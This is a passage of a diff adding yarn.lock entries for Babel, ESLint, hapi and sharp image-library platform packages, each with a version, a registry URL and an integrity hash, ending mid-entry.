+"@babel/helper-validator-option@^7.24.7", "@babel/helper-validator-option@^7.24.8":
+  version "7.24.8"
+  resolved "https://registry.yarnpkg.com/@babel/helper-validator-option/-/helper-validator-option-7.24.8.tgz#3725cdeea8b480e86d34df15304806a06975e33d"
+  integrity sha512-xb8t9tD1MHLungh/AIoWYN+gVHaB9kwlu8gffXGSt3FFEIT7RjS+xWbc2vUD1UTZdIpKj/ab3rdqJ7ufngyi2Q==
+
+"@babel/helper-validator-option@^7.25.9":
+  version "7.25.9"
+  resolved "https://registry.yarnpkg.com/@babel/helper-validator-option/-/helper-validator-option-7.25.9.tgz#86e45bd8a49ab7e03f276577f96179653d41da72"
+  integrity sha512-e/zv1co8pp55dNdEcCynfj9X7nyUKUXoUEwfXqaZt0omVOmDe9oOTdKStH4GmAw6zxMFs50ZayuMfHDKlO7Tfw==
+
+"@babel/helpers@^7.25.0":
+  version "7.25.6"
+  resolved "https://registry.yarnpkg.com/@babel/helpers/-/helpers-7.25.6.tgz#57ee60141829ba2e102f30711ffe3afab357cc60"
+  integrity sha512-Xg0tn4HcfTijTwfDwYlvVCl43V6h4KyVVX2aEm4qdO/PC6L2YvzLHFdmxhoeSA3eslcE6+ZVXHgWwopXYLNq4Q==
+  dependencies:
+    "@babel/template" "^7.25.0"
+    "@babel/types" "^7.25.6"
+
+"@babel/highlight@^7.24.7":
+  version "7.24.7"
+  resolved "https://registry.yarnpkg.com/@babel/highlight/-/highlight-7.24.7.tgz#a05ab1df134b286558aae0ed41e6c5f731bf409d"
+  integrity sha512-EStJpq4OuY8xYfhGVXngigBJRWxftKX9ksiGDnmlY3o7B/V7KIAc9X4oiK87uPJSc/vs5L869bem5fhZa8caZw==
+  dependencies:
+    "@babel/helper-validator-identifier" "^7.24.7"
+    chalk "^2.4.2"
+    js-tokens "^4.0.0"
+    picocolors "^1.0.0"
+
+"@babel/parser@^7.18.9", "@babel/parser@^7.25.0", "@babel/parser@^7.25.6":
+  version "7.25.6"
+  resolved "https://registry.yarnpkg.com/@babel/parser/-/parser-7.25.6.tgz#85660c5ef388cbbf6e3d2a694ee97a38f18afe2f"
+  integrity sha512-trGdfBdbD0l1ZPmcJ83eNxB9rbEax4ALFTF7fN386TMYbeCQbyme5cOEXQhbGXKebwGaB/J52w1mrklMcbgy6Q==
+  dependencies:
+    "@babel/types" "^7.25.6"
+
+"@babel/parser@^7.26.10", "@babel/parser@^7.26.9":
+  version "7.26.10"
+  resolved "https://registry.yarnpkg.com/@babel/parser/-/parser-7.26.10.tgz#e9bdb82f14b97df6569b0b038edd436839c57749"
+  integrity sha512-6aQR2zGE/QFi8JpDLjUZEPYOs7+mhKXm86VaKFiLP35JQwQb6bwUE+XbvkH0EptsYhbNBSUGaUBLKqxH1xSgsA==
+  dependencies:
+    "@babel/types" "^7.26.10"
+
+"@babel/plugin-syntax-jsx@^7.24.7":
+  version "7.24.7"
+  resolved "https://registry.yarnpkg.com/@babel/plugin-syntax-jsx/-/plugin-syntax-jsx-7.24.7.tgz#39a1fa4a7e3d3d7f34e2acc6be585b718d30e02d"
+  integrity sha512-6ddciUPe/mpMnOKv/U+RSd2vvVy+Yw/JfBB0ZHYjEZt9NLHmCUylNYlsbqCCS1Bffjlb0fCwC9Vqz+sBz6PsiQ==
+  dependencies:
+    "@babel/helper-plugin-utils" "^7.24.7"
+
+"@babel/plugin-syntax-jsx@^7.25.9":
+  version "7.25.9"
+  resolved "https://registry.yarnpkg.com/@babel/plugin-syntax-jsx/-/plugin-syntax-jsx-7.25.9.tgz#a34313a178ea56f1951599b929c1ceacee719290"
+  integrity sha512-ld6oezHQMZsZfp6pWtbjaNDF2tiiCYYDqQszHt5VV437lewP9aSi2Of99CK0D0XB21k7FLgnLcmQKyKzynfeAA==
+  dependencies:
+    "@babel/helper-plugin-utils" "^7.25.9"
+
+"@babel/plugin-syntax-typescript@^7.18.9":
+  version "7.25.4"
+  resolved "https://registry.yarnpkg.com/@babel/plugin-syntax-typescript/-/plugin-syntax-typescript-7.25.4.tgz#04db9ce5a9043d9c635e75ae7969a2cd50ca97ff"
+  integrity sha512-uMOCoHVU52BsSWxPOMVv5qKRdeSlPuImUCB2dlPuBSU+W2/ROE7/Zg8F2Kepbk+8yBa68LlRKxO+xgEVWorsDg==
+  dependencies:
+    "@babel/helper-plugin-utils" "^7.24.8"
+
+"@babel/plugin-syntax-typescript@^7.25.9":
+  version "7.25.9"
+  resolved "https://registry.yarnpkg.com/@babel/plugin-syntax-typescript/-/plugin-syntax-typescript-7.25.9.tgz#67dda2b74da43727cf21d46cf9afef23f4365399"
+  integrity sha512-hjMgRy5hb8uJJjUcdWunWVcoi9bGpJp8p5Ol1229PoN6aytsLwNMgmdftO23wnCLMfVmTwZDWMPNq/D1SY60JQ==
+  dependencies:
+    "@babel/helper-plugin-utils" "^7.25.9"
+
+"@babel/plugin-transform-block-scoping@^7.18.9":
+  version "7.25.0"
+  resolved "https://registry.yarnpkg.com/@babel/plugin-transform-block-scoping/-/plugin-transform-block-scoping-7.25.0.tgz#23a6ed92e6b006d26b1869b1c91d1b917c2ea2ac"
+  integrity sha512-yBQjYoOjXlFv9nlXb3f1casSHOZkWr29NX+zChVanLg5Nc157CrbEX9D7hxxtTpuFy7Q0YzmmWfJxzvps4kXrQ==
+  dependencies:
+    "@babel/helper-plugin-utils" "^7.24.8"
+
+"@babel/plugin-transform-modules-commonjs@^7.18.9":
+  version "7.24.8"
+  resolved "https://registry.yarnpkg.com/@babel/plugin-transform-modules-commonjs/-/plugin-transform-modules-commonjs-7.24.8.tgz#ab6421e564b717cb475d6fff70ae7f103536ea3c"
+  integrity sha512-WHsk9H8XxRs3JXKWFiqtQebdh9b/pTk4EgueygFzYlTKAg0Ud985mSevdNjdXdFBATSKVJGQXP1tv6aGbssLKA==
+  dependencies:
+    "@babel/helper-module-transforms" "^7.24.8"
+    "@babel/helper-plugin-utils" "^7.24.8"
+    "@babel/helper-simple-access" "^7.24.7"
+
+"@babel/plugin-transform-modules-commonjs@^7.25.9":
+  version "7.26.3"
+  resolved "https://registry.yarnpkg.com/@babel/plugin-transform-modules-commonjs/-/plugin-transform-modules-commonjs-7.26.3.tgz#8f011d44b20d02c3de44d8850d971d8497f981fb"
+  integrity sha512-MgR55l4q9KddUDITEzEFYn5ZsGDXMSsU9E+kh7fjRXTIC3RHqfCo8RPRbyReYJh44HQ/yomFkqbOFohXvDCiIQ==
+  dependencies:
+    "@babel/helper-module-transforms" "^7.26.0"
+    "@babel/helper-plugin-utils" "^7.25.9"
+
+"@babel/plugin-transform-react-display-name@^7.24.7":
+  version "7.24.7"
+  resolved "https://registry.yarnpkg.com/@babel/plugin-transform-react-display-name/-/plugin-transform-react-display-name-7.24.7.tgz#9caff79836803bc666bcfe210aeb6626230c293b"
+  integrity sha512-H/Snz9PFxKsS1JLI4dJLtnJgCJRoo0AUm3chP6NYr+9En1JMKloheEiLIhlp5MDVznWo+H3AAC1Mc8lmUEpsgg==
+  dependencies:
+    "@babel/helper-plugin-utils" "^7.24.7"
+
+"@babel/plugin-transform-react-jsx-development@^7.24.7":
+  version "7.24.7"
+  resolved "https://registry.yarnpkg.com/@babel/plugin-transform-react-jsx-development/-/plugin-transform-react-jsx-development-7.24.7.tgz#eaee12f15a93f6496d852509a850085e6361470b"
+  integrity sha512-QG9EnzoGn+Qar7rxuW+ZOsbWOt56FvvI93xInqsZDC5fsekx1AlIO4KIJ5M+D0p0SqSH156EpmZyXq630B8OlQ==
+  dependencies:
+    "@babel/plugin-transform-react-jsx" "^7.24.7"
+
+"@babel/plugin-transform-react-jsx@^7.24.7":
+  version "7.25.2"
+  resolved "https://registry.yarnpkg.com/@babel/plugin-transform-react-jsx/-/plugin-transform-react-jsx-7.25.2.tgz#e37e8ebfa77e9f0b16ba07fadcb6adb47412227a"
+  integrity sha512-KQsqEAVBpU82NM/B/N9j9WOdphom1SZH3R+2V7INrQUH+V9EBFwZsEJl8eBIVeQE62FxJCc70jzEZwqU7RcVqA==
+  dependencies:
+    "@babel/helper-annotate-as-pure" "^7.24.7"
+    "@babel/helper-module-imports" "^7.24.7"
+    "@babel/helper-plugin-utils" "^7.24.8"
+    "@babel/plugin-syntax-jsx" "^7.24.7"
+    "@babel/types" "^7.25.2"
+
+"@babel/plugin-transform-react-pure-annotations@^7.24.7":
+  version "7.24.7"
+  resolved "https://registry.yarnpkg.com/@babel/plugin-transform-react-pure-annotations/-/plugin-transform-react-pure-annotations-7.24.7.tgz#bdd9d140d1c318b4f28b29a00fb94f97ecab1595"
+  integrity sha512-PLgBVk3fzbmEjBJ/u8kFzOqS9tUeDjiaWud/rRym/yjCo/M9cASPlnrd2ZmmZpQT40fOOrvR8jh+n8jikrOhNA==
+  dependencies:
+    "@babel/helper-annotate-as-pure" "^7.24.7"
+    "@babel/helper-plugin-utils" "^7.24.7"
+
+"@babel/plugin-transform-typescript@^7.25.9":
+  version "7.26.8"
+  resolved "https://registry.yarnpkg.com/@babel/plugin-transform-typescript/-/plugin-transform-typescript-7.26.8.tgz#2e9caa870aa102f50d7125240d9dbf91334b0950"
+  integrity sha512-bME5J9AC8ChwA7aEPJ6zym3w7aObZULHhbNLU0bKUhKsAkylkzUdq+0kdymh9rzi8nlNFl2bmldFBCKNJBUpuw==
+  dependencies:
+    "@babel/helper-annotate-as-pure" "^7.25.9"
+    "@babel/helper-create-class-features-plugin" "^7.25.9"
+    "@babel/helper-plugin-utils" "^7.26.5"
+    "@babel/helper-skip-transparent-expression-wrappers" "^7.25.9"
+    "@babel/plugin-syntax-typescript" "^7.25.9"
+
+"@babel/preset-react@^7.18.9":
+  version "7.24.7"
+  resolved "https://registry.yarnpkg.com/@babel/preset-react/-/preset-react-7.24.7.tgz#480aeb389b2a798880bf1f889199e3641cbb22dc"
+  integrity sha512-AAH4lEkpmzFWrGVlHaxJB7RLH21uPQ9+He+eFLWHmF9IuFQVugz8eAsamaW0DXRrTfco5zj1wWtpdcXJUOfsag==
+  dependencies:
+    "@babel/helper-plugin-utils" "^7.24.7"
+    "@babel/helper-validator-option" "^7.24.7"
+    "@babel/plugin-transform-react-display-name" "^7.24.7"
+    "@babel/plugin-transform-react-jsx" "^7.24.7"
+    "@babel/plugin-transform-react-jsx-development" "^7.24.7"
+    "@babel/plugin-transform-react-pure-annotations" "^7.24.7"
+
+"@babel/preset-typescript@^7.26.0":
+  version "7.26.0"
+  resolved "https://registry.yarnpkg.com/@babel/preset-typescript/-/preset-typescript-7.26.0.tgz#4a570f1b8d104a242d923957ffa1eaff142a106d"
+  integrity sha512-NMk1IGZ5I/oHhoXEElcm+xUnL/szL6xflkFZmoEU9xj1qSJXpiS7rsspYo92B4DRCDvZn2erT5LdsCeXAKNCkg==
+  dependencies:
+    "@babel/helper-plugin-utils" "^7.25.9"
+    "@babel/helper-validator-option" "^7.25.9"
+    "@babel/plugin-syntax-jsx" "^7.25.9"
+    "@babel/plugin-transform-modules-commonjs" "^7.25.9"
+    "@babel/plugin-transform-typescript" "^7.25.9"
+
+"@babel/runtime@^7.21.0":
+  version "7.25.6"
+  resolved "https://registry.yarnpkg.com/@babel/runtime/-/runtime-7.25.6.tgz#9afc3289f7184d8d7f98b099884c26317b9264d2"
+  integrity sha512-VBj9MYyDb9tuLq7yzqjgzt6Q+IBQLrGZfdjOekyEirZPHxXWoTSGUTMrpsfi58Up73d13NfYLv8HT9vmznjzhQ==
+  dependencies:
+    regenerator-runtime "^0.14.0"
+
+"@babel/template@^7.25.0":
+  version "7.25.0"
+  resolved "https://registry.yarnpkg.com/@babel/template/-/template-7.25.0.tgz#e733dc3134b4fede528c15bc95e89cb98c52592a"
+  integrity sha512-aOOgh1/5XzKvg1jvVz7AVrx2piJ2XBi227DHmbY6y+bM9H2FlN+IfecYu4Xl0cNiiVejlsCri89LUsbj8vJD9Q==
+  dependencies:
+    "@babel/code-frame" "^7.24.7"
+    "@babel/parser" "^7.25.0"
+    "@babel/types" "^7.25.0"
+
+"@babel/template@^7.26.9":
+  version "7.26.9"
+  resolved "https://registry.yarnpkg.com/@babel/template/-/template-7.26.9.tgz#4577ad3ddf43d194528cff4e1fa6b232fa609bb2"
+  integrity sha512-qyRplbeIpNZhmzOysF/wFMuP9sctmh2cFzRAZOn1YapxBsE1i9bJIY586R/WBLfLcmcBlM8ROBiQURnnNy+zfA==
+  dependencies:
+    "@babel/code-frame" "^7.26.2"
+    "@babel/parser" "^7.26.9"
+    "@babel/types" "^7.26.9"
+
+"@babel/traverse@^7.18.9", "@babel/traverse@^7.24.7", "@babel/traverse@^7.25.2":
+  version "7.25.6"
+  resolved "https://registry.yarnpkg.com/@babel/traverse/-/traverse-7.25.6.tgz#04fad980e444f182ecf1520504941940a90fea41"
+  integrity sha512-9Vrcx5ZW6UwK5tvqsj0nGpp/XzqthkT0dqIc9g1AdtygFToNtTF67XzYS//dm+SAK9cp3B9R4ZO/46p63SCjlQ==
+  dependencies:
+    "@babel/code-frame" "^7.24.7"
+    "@babel/generator" "^7.25.6"
+    "@babel/parser" "^7.25.6"
+    "@babel/template" "^7.25.0"
+    "@babel/types" "^7.25.6"
+    debug "^4.3.1"
+    globals "^11.1.0"
+
+"@babel/traverse@^7.25.9", "@babel/traverse@^7.26.5", "@babel/traverse@^7.26.9":
+  version "7.26.10"
+  resolved "https://registry.yarnpkg.com/@babel/traverse/-/traverse-7.26.10.tgz#43cca33d76005dbaa93024fae536cc1946a4c380"
+  integrity sha512-k8NuDrxr0WrPH5Aupqb2LCVURP/S0vBEn5mK6iH+GIYob66U5EtoZvcdudR2jQ4cmTwhEwW1DLB+Yyas9zjF6A==
+  dependencies:
+    "@babel/code-frame" "^7.26.2"
+    "@babel/generator" "^7.26.10"
+    "@babel/parser" "^7.26.10"
+    "@babel/template" "^7.26.9"
+    "@babel/types" "^7.26.10"
+    debug "^4.3.1"
+    globals "^11.1.0"
+
+"@babel/types@7.26.3", "@babel/types@^7.24.7", "@babel/types@^7.25.0", "@babel/types@^7.25.2", "@babel/types@^7.25.6":
+  version "7.26.3"
+  resolved "https://registry.yarnpkg.com/@babel/types/-/types-7.26.3.tgz#37e79830f04c2b5687acc77db97fbc75fb81f3c0"
+  integrity sha512-vN5p+1kl59GVKMvTHt55NzzmYVxprfJD+ql7U9NFIfKCBkYE55LYtS+WtPlaYOyzydrKI8Nezd+aZextrd+FMA==
+  dependencies:
+    "@babel/helper-string-parser" "^7.25.9"
+    "@babel/helper-validator-identifier" "^7.25.9"
+
+"@babel/types@^7.25.9", "@babel/types@^7.26.10", "@babel/types@^7.26.9":
+  version "7.26.10"
+  resolved "https://registry.yarnpkg.com/@babel/types/-/types-7.26.10.tgz#396382f6335bd4feb65741eacfc808218f859259"
+  integrity sha512-emqcG3vHrpxUKTrxcblR36dcrcoRDvKmnL/dCL6ZsHaShW80qxCAcNhzQZrpeM765VzEos+xOi4s+r4IXzTwdQ==
+  dependencies:
+    "@babel/helper-string-parser" "^7.25.9"
+    "@babel/helper-validator-identifier" "^7.25.9"
+
+"@emnapi/runtime@^1.4.4":
+  version "1.5.0"
+  resolved "https://registry.yarnpkg.com/@emnapi/runtime/-/runtime-1.5.0.tgz#9aebfcb9b17195dce3ab53c86787a6b7d058db73"
+  integrity sha512-97/BJ3iXHww3djw6hYIfErCZFee7qCtrneuLa20UXFCOTCfBM2cvQHjWJ2EG0s0MtdNwInarqCTz35i4wWXHsQ==
+  dependencies:
+    tslib "^2.4.0"
+
+"@eslint-community/eslint-utils@^4.2.0", "@eslint-community/eslint-utils@^4.4.0":
+  version "4.4.0"
+  resolved "https://registry.yarnpkg.com/@eslint-community/eslint-utils/-/eslint-utils-4.4.0.tgz#a23514e8fb9af1269d5f7788aa556798d61c6b59"
+  integrity sha512-1/sA4dwrzBAyeUoQ6oxahHKmrZvsnLCg4RfxW3ZFGGmQkSNQPFNLV9CUEFQP1x9EYXHTo5p6xdhZM1Ne9p/AfA==
+  dependencies:
+    eslint-visitor-keys "^3.3.0"
+
+"@eslint-community/regexpp@^4.10.0", "@eslint-community/regexpp@^4.6.1":
+  version "4.11.1"
+  resolved "https://registry.yarnpkg.com/@eslint-community/regexpp/-/regexpp-4.11.1.tgz#a547badfc719eb3e5f4b556325e542fbe9d7a18f"
+  integrity sha512-m4DVN9ZqskZoLU5GlWZadwDnYo3vAEydiUayB9widCl9ffWx2IvPnp6n3on5rJmziJSw9Bv+Z3ChDVdMwXCY8Q==
+
+"@eslint/eslintrc@^2.1.4":
+  version "2.1.4"
+  resolved "https://registry.yarnpkg.com/@eslint/eslintrc/-/eslintrc-2.1.4.tgz#388a269f0f25c1b6adc317b5a2c55714894c70ad"
+  integrity sha512-269Z39MS6wVJtsoUl10L60WdkhJVdPG24Q4eZTH3nnF6lpvSShEK3wQjDX9JRWAUPvPh7COouPpU9IrqaZFvtQ==
+  dependencies:
+    ajv "^6.12.4"
+    debug "^4.3.2"
+    espree "^9.6.0"
+    globals "^13.19.0"
+    ignore "^5.2.0"
+    import-fresh "^3.2.1"
+    js-yaml "^4.1.0"
+    minimatch "^3.1.2"
+    strip-json-comments "^3.1.1"
+
+"@eslint/js@8.57.1":
+  version "8.57.1"
+  resolved "https://registry.yarnpkg.com/@eslint/js/-/js-8.57.1.tgz#de633db3ec2ef6a3c89e2f19038063e8a122e2c2"
+  integrity sha512-d9zaMRSTIKDLhctzH12MtXvJKSSUhaHcjV+2Z+GK+EEY7XKpP5yR4x+N3TAcHTcu963nIr+TMcCb4DBCYX1z6Q==
+
+"@hapi/hoek@^9.0.0", "@hapi/hoek@^9.3.0":
+  version "9.3.0"
+  resolved "https://registry.yarnpkg.com/@hapi/hoek/-/hoek-9.3.0.tgz#8368869dcb735be2e7f5cb7647de78e167a251fb"
+  integrity sha512-/c6rf4UJlmHlC9b5BaNvzAcFv7HZ2QHaV0D4/HNlBdvFnvQq8RI4kYdhyPCl7Xj+oWvTWQ8ujhqS53LIgAe6KQ==
+
+"@hapi/topo@^5.1.0":
+  version "5.1.0"
+  resolved "https://registry.yarnpkg.com/@hapi/topo/-/topo-5.1.0.tgz#dc448e332c6c6e37a4dc02fd84ba8d44b9afb012"
+  integrity sha512-foQZKJig7Ob0BMAYBfcJk8d77QtOe7Wo4ox7ff1lQYoNNAb6jwcY1ncdoy2e9wQZzvNy7ODZCYJkK8kzmcAnAg==
+  dependencies:
+    "@hapi/hoek" "^9.0.0"
+
+"@heroicons/react@^1.0.6":
+  version "1.0.6"
+  resolved "https://registry.yarnpkg.com/@heroicons/react/-/react-1.0.6.tgz#35dd26987228b39ef2316db3b1245c42eb19e324"
+  integrity sha512-JJCXydOFWMDpCP4q13iEplA503MQO3xLoZiKum+955ZCtHINWnx26CUxVxxFQu/uLb4LW3ge15ZpzIkXKkJ8oQ==
+
+"@humanwhocodes/config-array@^0.13.0":
+  version "0.13.0"
+  resolved "https://registry.yarnpkg.com/@humanwhocodes/config-array/-/config-array-0.13.0.tgz#fb907624df3256d04b9aa2df50d7aa97ec648748"
+  integrity sha512-DZLEEqFWQFiyK6h5YIeynKx7JlvCYWL0cImfSRXZ9l4Sg2efkFGTuFf6vzXjK1cq6IYkU+Eg/JizXw+TD2vRNw==
+  dependencies:
+    "@humanwhocodes/object-schema" "^2.0.3"
+    debug "^4.3.1"
+    minimatch "^3.0.5"
+
+"@humanwhocodes/module-importer@^1.0.1":
+  version "1.0.1"
+  resolved "https://registry.yarnpkg.com/@humanwhocodes/module-importer/-/module-importer-1.0.1.tgz#af5b2691a22b44be847b0ca81641c5fb6ad0172c"
+  integrity sha512-bxveV4V8v5Yb4ncFTT3rPSgZBOpCkjfK0y4oVVVJwIuDVBRMDXrPyXRL988i5ap9m9bnyEEjWfm5WkBmtffLfA==
+
+"@humanwhocodes/object-schema@^2.0.3":
+  version "2.0.3"
+  resolved "https://registry.yarnpkg.com/@humanwhocodes/object-schema/-/object-schema-2.0.3.tgz#4a2868d75d6d6963e423bcf90b7fd1be343409d3"
+  integrity sha512-93zYdMES/c1D69yZiKDBj0V24vqNzB/koF26KPaagAfd3P/4gUlh3Dys5ogAK+Exi9QyzlD8x/08Zt7wIKcDcA==
+
+"@img/sharp-darwin-arm64@0.34.3":
+  version "0.34.3"
+  resolved "https://registry.yarnpkg.com/@img/sharp-darwin-arm64/-/sharp-darwin-arm64-0.34.3.tgz#4850c8ace3c1dc13607fa07d43377b1f9aa774da"
+  integrity sha512-ryFMfvxxpQRsgZJqBd4wsttYQbCxsJksrv9Lw/v798JcQ8+w84mBWuXwl+TT0WJ/WrYOLaYpwQXi3sA9nTIaIg==
+  optionalDependencies:
+    "@img/sharp-libvips-darwin-arm64" "1.2.0"
+
+"@img/sharp-darwin-x64@0.34.3":
+  version "0.34.3"
+  resolved "https://registry.yarnpkg.com/@img/sharp-darwin-x64/-/sharp-darwin-x64-0.34.3.tgz#edf93fb01479604f14ad6a64a716e2ef2bb23100"
+  integrity sha512-yHpJYynROAj12TA6qil58hmPmAwxKKC7reUqtGLzsOHfP7/rniNGTL8tjWX6L3CTV4+5P4ypcS7Pp+7OB+8ihA==
+  optionalDependencies:
+    "@img/sharp-libvips-darwin-x64" "1.2.0"
+
+"@img/sharp-libvips-darwin-arm64@1.2.0":
+  version "1.2.0"
+  resolved "https://registry.yarnpkg.com/@img/sharp-libvips-darwin-arm64/-/sharp-libvips-darwin-arm64-1.2.0.tgz#e20e9041031acde1de19da121dc5162c7d2cf251"
+  integrity sha512-sBZmpwmxqwlqG9ueWFXtockhsxefaV6O84BMOrhtg/YqbTaRdqDE7hxraVE3y6gVM4eExmfzW4a8el9ArLeEiQ==
+
+"@img/sharp-libvips-darwin-x64@1.2.0":
+  version "1.2.0"
+  resolved "https://registry.yarnpkg.com/@img/sharp-libvips-darwin-x64/-/sharp-libvips-darwin-x64-1.2.0.tgz#918ca81c5446f31114834cb908425a7532393185"
+  integrity sha512-M64XVuL94OgiNHa5/m2YvEQI5q2cl9d/wk0qFTDVXcYzi43lxuiFTftMR1tOnFQovVXNZJ5TURSDK2pNe9Yzqg==
+
+"@img/sharp-libvips-linux-arm64@1.2.0":
+  version "1.2.0"
+  resolved "https://registry.yarnpkg.com/@img/sharp-libvips-linux-arm64/-/sharp-libvips-linux-arm64-1.2.0.tgz#1a5beafc857b43f378c3030427aa981ee3edbc54"
+  integrity sha512-RXwd0CgG+uPRX5YYrkzKyalt2OJYRiJQ8ED/fi1tq9WQW2jsQIn0tqrlR5l5dr/rjqq6AHAxURhj2DVjyQWSOA==
+
+"@img/sharp-libvips-linux-arm@1.2.0":
+  version "1.2.0"
+  resolved "https://registry.yarnpkg.com/@img/sharp-libvips-linux-arm/-/sharp-libvips-linux-arm-1.2.0.tgz#bff51182d5238ca35c5fe9e9f594a18ad6a5480d"
+  integrity sha512-mWd2uWvDtL/nvIzThLq3fr2nnGfyr/XMXlq8ZJ9WMR6PXijHlC3ksp0IpuhK6bougvQrchUAfzRLnbsen0Cqvw==
+
+"@img/sharp-libvips-linux-ppc64@1.2.0":
+  version "1.2.0"
+  resolved "https://registry.yarnpkg.com/@img/sharp-libvips-linux-ppc64/-/sharp-libvips-linux-ppc64-1.2.0.tgz#10c53ccf6f2d47d71fb3fa282697072c8fe9e40e"
+  integrity sha512-Xod/7KaDDHkYu2phxxfeEPXfVXFKx70EAFZ0qyUdOjCcxbjqyJOEUpDe6RIyaunGxT34Anf9ue/wuWOqBW2WcQ==
+
+"@img/sharp-libvips-linux-s390x@1.2.0":
+  version "1.2.0"
+  resolved "https://registry.yarnpkg.com/@img/sharp-libvips-linux-s390x/-/sharp-libvips-linux-s390x-1.2.0.tgz#392fd7557ddc5c901f1bed7ab3c567c08833ef3b"
+  integrity sha512-eMKfzDxLGT8mnmPJTNMcjfO33fLiTDsrMlUVcp6b96ETbnJmd4uvZxVJSKPQfS+odwfVaGifhsB07J1LynFehw==
+
+"@img/sharp-libvips-linux-x64@1.2.0":
+  version "1.2.0"
+  resolved "https://registry.yarnpkg.com/@img/sharp-libvips-linux-x64/-/sharp-libvips-linux-x64-1.2.0.tgz#9315cf90a2fdcdc0e29ea7663cbd8b0f15254400"
+  integrity sha512-ZW3FPWIc7K1sH9E3nxIGB3y3dZkpJlMnkk7z5tu1nSkBoCgw2nSRTFHI5pB/3CQaJM0pdzMF3paf9ckKMSE9Tg==
+
+"@img/sharp-libvips-linuxmusl-arm64@1.2.0":
+  version "1.2.0"
+  resolved "https://registry.yarnpkg.com/@img/sharp-libvips-linuxmusl-arm64/-/sharp-libvips-linuxmusl-arm64-1.2.0.tgz#705e03e67d477f6f842f37eb7f66285b1150dc06"
+  integrity sha512-UG+LqQJbf5VJ8NWJ5Z3tdIe/HXjuIdo4JeVNADXBFuG7z9zjoegpzzGIyV5zQKi4zaJjnAd2+g2nna8TZvuW9Q==
+
+"@img/sharp-libvips-linuxmusl-x64@1.2.0":
+  version "1.2.0"
+  resolved "https://registry.yarnpkg.com/@img/sharp-libvips-linuxmusl-x64/-/sharp-libvips-linuxmusl-x64-1.2.0.tgz#ec905071cc538df64848d5900e0d386d77c55f13"
+  integrity sha512-SRYOLR7CXPgNze8akZwjoGBoN1ThNZoqpOgfnOxmWsklTGVfJiGJoC/Lod7aNMGA1jSsKWM1+HRX43OP6p9+6Q==
+
+"@img/sharp-linux-arm64@0.34.3":
+  version "0.34.3"
+  resolved "https://registry.yarnpkg.com/@img/sharp-linux-arm64/-/sharp-linux-arm64-0.34.3.tgz#476f8f13ce192555391ae9d4bc658637a6acf3e5"
+  integrity sha512-QdrKe3EvQrqwkDrtuTIjI0bu6YEJHTgEeqdzI3uWJOH6G1O8Nl1iEeVYRGdj1h5I21CqxSvQp1Yv7xeU3ZewbA==
+  optionalDependencies:
+    "@img/sharp-libvips-linux-arm64" "1.2.0"
+
+"@img/sharp-linux-arm@0.34.3":
+  version "0.34.3"
+  resolved "https://registry.yarnpkg.com/@img/sharp-linux-arm/-/sharp-linux-arm-0.34.3.tgz#9898cd68ea3e3806b94fe25736d5d7ecb5eac121"
+  integrity sha512-oBK9l+h6KBN0i3dC8rYntLiVfW8D8wH+NPNT3O/WBHeW0OQWCjfWksLUaPidsrDKpJgXp3G3/hkmhptAW0I3+A==
+  optionalDependencies:
+    "@img/sharp-libvips-linux-arm" "1.2.0"
+
+"@img/sharp-linux-ppc64@0.34.3":
+  version "0.34.3"
+  resolved "https://registry.yarnpkg.com/@img/sharp-linux-ppc64/-/sharp-linux-ppc64-0.34.3.tgz#6a7cd4c608011333a0ddde6d96e03ac042dd9079"
+  integrity sha512-GLtbLQMCNC5nxuImPR2+RgrviwKwVql28FWZIW1zWruy6zLgA5/x2ZXk3mxj58X/tszVF69KK0Is83V8YgWhLA==
+  optionalDependencies:
+    "@img/sharp-libvips-linux-ppc64" "1.2.0"
+
+"@img/sharp-linux-s390x@0.34.3":
+  version "0.34.3"
+  resolved "https://registry.yarnpkg.com/@img/sharp-linux-s390x/-/sharp-linux-s390x-0.34.3.tgz#48e27ab969efe97d270e39297654c0e0c9b42919"
+  integrity sha512-3gahT+A6c4cdc2edhsLHmIOXMb17ltffJlxR0aC2VPZfwKoTGZec6u5GrFgdR7ciJSsHT27BD3TIuGcuRT0KmQ==
+  optionalDependencies:
+    "@img/sharp-libvips-linux-s390x" "1.2.0"
+
+"@img/sharp-linux-x64@0.34.3":
+  version "0.34.3"
+  resolved "https://registry.yarnpkg.com/@img/sharp-linux-x64/-/sharp-linux-x64-0.34.3.tgz#5aa77ad4aa447ddf6d642e2a2c5599eb1292dfaa"
+  integrity sha512-8kYso8d806ypnSq3/Ly0QEw90V5ZoHh10yH0HnrzOCr6DKAPI6QVHvwleqMkVQ0m+fc7EH8ah0BB0QPuWY6zJQ==
+  optionalDependencies:
+    "@img/sharp-libvips-linux-x64" "1.2.0"
+
+"@img/sharp-linuxmusl-arm64@0.34.3":
+  version "0.34.3"
+  resolved "https://registry.yarnpkg.com/@img/sharp-linuxmusl-arm64/-/sharp-linuxmusl-arm64-0.34.3.tgz#62053a9d77c7d4632c677619325b741254689dd7"
+  integrity sha512-vAjbHDlr4izEiXM1OTggpCcPg9tn4YriK5vAjowJsHwdBIdx0fYRsURkxLG2RLm9gyBq66gwtWI8Gx0/ov+JKQ==
+  optionalDependencies:
+    "@img/sharp-libvips-linuxmusl-arm64" "1.2.0"
+
+"@img/sharp-linuxmusl-x64@0.34.3":
+  version "0.34.3"
+  resolved "https://registry.yarnpkg.com/@img/sharp-linuxmusl-x64/-/sharp-linuxmusl-x64-0.34.3.tgz#5107c7709c7e0a44fe5abef59829f1de86fa0a3a"
+  integrity sha512-gCWUn9547K5bwvOn9l5XGAEjVTTRji4aPTqLzGXHvIr6bIDZKNTA34seMPgM0WmSf+RYBH411VavCejp3PkOeQ==
+  optionalDependencies:
+    "@img/sharp-libvips-linuxmusl-x64" "1.2.0"
+
+"@img/sharp-wasm32@0.34.3":
+  version "0.34.3"
+  resolved "https://registry.yarnpkg.com/@img/sharp-wasm32/-/sharp-wasm32-0.34.3.tgz#c1dcabb834ec2f71308a810b399bb6e6e3b79619"
+  integrity sha512-+CyRcpagHMGteySaWos8IbnXcHgfDn7pO2fiC2slJxvNq9gDipYBN42/RagzctVRKgxATmfqOSulgZv5e1RdMg==
+  dependencies:
+    "@emnapi/runtime" "^1.4.4"
+
+"@img/sharp-win32-arm64@0.34.3":
+  version "0.34.3"
+  resolved "https://registry.yarnpkg.com/@img/sharp-win32-arm64/-/sharp-win32-arm64-0.34.3.tgz#3e8654e368bb349d45799a0d7aeb29db2298628e"
+  integrity sha512-MjnHPnbqMXNC2UgeLJtX4XqoVHHlZNd+nPt1kRPmj63wURegwBhZlApELdtxM2OIZDRv/DFtLcNhVbd1z8GYXQ==
+
+"@img/sharp-win32-ia32@0.34.3":
